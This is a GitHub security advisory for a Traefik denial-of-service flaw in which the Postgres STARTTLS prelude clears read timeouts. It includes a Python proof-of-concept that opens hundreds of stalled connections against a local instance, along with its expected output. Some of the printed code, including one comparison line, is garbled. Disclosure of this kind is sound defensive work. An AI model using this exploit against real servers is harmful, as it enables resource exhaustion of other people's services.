GitHub Advisoryadvisory · Go
GHSA-89p3-4642-cr2w Traefik: TCP readTimeout bypass via STARTTLS on Postgres
HIGH
Official page ↗
- Aliases
- CVE-2026-25949
- Ecosystem
- Go
- Packages
- github.com/traefik/traefik/v3
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-400, CWE-770
- Reviewed
- 2026-02-12
Affected packages
• Go github.com/traefik/traefik/v3: < 3.6.8 → fixed in 3.6.8
Description
Impact
There is a potential vulnerability in Traefik managing STARTTLS requests.
An unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.
Patches
• https://github.com/traefik/traefik/releases/tag/v3.6.8
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Summary
A remote, unauthenticated client can bypass Traefik entrypoint `respondingTimeouts.readTimeout` by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.
This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).
Details
Traefik applies per-connection deadlines based on `entryPoints..transport.respondingTimeouts.readTimeout` to prevent protocol detection and request reads from blocking forever (see `pkg/server/server_entrypoint_tcp.go`, which sets `SetReadDeadline` on accepted connections).
However, in the TCP router protocol detection path (`pkg/server/router/tcp/router.go`), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:
• detect Postgres SSLRequest (8-byte signature),
• call `conn.SetDeadline(time.Time{})` (clears all deadlines),
• then enter the Postgres STARTTLS handler (`servePostgres`).
The Postgres handler (`pkg/server/router/tcp/postgres.go`) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (`clientHelloInfo(br)`), but with deadlines removed. An attacker can therefore:
1. connect to any internet-exposed TCP entrypoint,
2. send the Postgres SSLRequest (SSL negotiation request),
3. receive Traefik’s single-byte response (`S`),
4. stop sending any further bytes.
Each such connection remains open past the configured `readTimeout` (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.
_Of note_: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.
Tested versions:
• `v3.6.7`
• `master` at commit `a4a91344edcdd6276c1b766ca19ee3f0e346480f`
PoC
Prerequisites:
• Linux host
• Python 3
• A prebuilt Traefik `v3.6.7` binary. The script below expects the path in the script’s `TRAEFIK_BIN` constant (edit if needed).
Execute the script below:
Script (Click to expand)
```python
!/usr/bin/env python3
from __future__ import annotations
import os
import socket
import subprocess
import tempfile
import time
from typing import Final
Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"
HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080
STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300
POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])
def fd_count(pid: int) -> int:
return len(os.listdir(f"/proc/{pid}/fd"))
def open_idle_conns(n: int) -> list[socket.socket]:
conns: list[socket.socket] = []
for _ in range(n):
conns.append(socket.create_connection((HOST, PORT)))
return conns
def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
conns: list[socket.socket] = []
for _ in range(n):
s = socket.create_connection((HOST, PORT))
s.settimeout(1.0)
s.sendall(POSTGRES_SSLREQUEST)
try:
_ = s.recv(1) # typically b"S"
except socket.timeout:
pass
conns.append(s)
return conns
def close_all(conns: list[socket.socket]) -> None:
for s in conns:
try:
s.close()
except OSError:
pass
def main() -> None:
with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
dyn = os.path.join(td, "dynamic.yml")
with open(dyn, "w", encoding="utf-8") as f:
f.write(
f"""\
http:
routers:
r:
entryPoints: [web]
rule: "PathPrefix(`/`)"
service: s
services:
s:
loadBalancer:
servers:
• url: "http://{HOST}:9"
"""
)
proc = subprocess.Popen(
[
TRAEFIK_BIN,
"--log.level=ERROR",
f"--entryPoints.web.address=:{PORT}",
f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
f"--providers.file.filename={dyn}",
"--providers.file.watch=false",
],
stdout=subprocess.DEVNULL,
stderr=subprocess.STDOUT,
)
try:
time.sleep(STARTUP_SLEEP_SECS)
pid = proc.pid
if pid is None:
raise RuntimeError("Traefik PID is None")
ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
print(ver)
print(f"Traefik={TRAEFIK_BIN}")
print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")
base = fd_count(pid)
print(f"traefik_pid={pid} fd_base={base}")
idle = open_idle_conns(N_CONNS)
fd_after_open_idle = fd_count(pid)
print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
time.sleep(SLEEP_SECS)
fd_after_sleep_idle = fd_count(pid)
print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
close_all(idle)
pg = open_postgres_sslrequest_conns(N_CONNS)
fd_after_open_pg = fd_count(pid)
print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
time.sleep(SLEEP_SECS)
fd_after_sleep_pg = fd_count(pid)
print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
close_all(pg)
if (fd_after_sleep_idle - base) = (N_CONNS // 2):
print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
else:
print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
finally:
proc.terminate()
try:
proc.wait(timeout=3.0)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait(timeout=3.0)
if __name__ == "__main__":
main()
```
Expected output (Click to expand)
```bash
Version: 3.6.7
Codename: ramequin
Go version: go1.24.11
Built: 2026-01-14T14:04:03Z
OS/Arch: linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.
```
Impact
Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (…
Related
Alias · CVE (1)
- CVE-2026-25949 Traefik is an HTTP reverse proxy and load balancer. vulnerability
References
- https://github.com/traefik/traefik/security/advisories/GHSA-89p3-4642-cr2w web
- https://nvd.nist.gov/vuln/detail/CVE-2026-25949 advisory
- https://github.com/traefik/traefik/commit/31e566e9f1d7888ccb6fbc18bfed427203c35678 web
- https://access.redhat.com/errata/RHSA-2026:6192 web
- https://access.redhat.com/security/cve/CVE-2026-25949 web
- https://bugzilla.redhat.com/show_bug.cgi?id=2439522 web
- https://github.com/traefik/traefik package
- https://github.com/traefik/traefik/releases/tag/v3.6.8 web
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25949.json web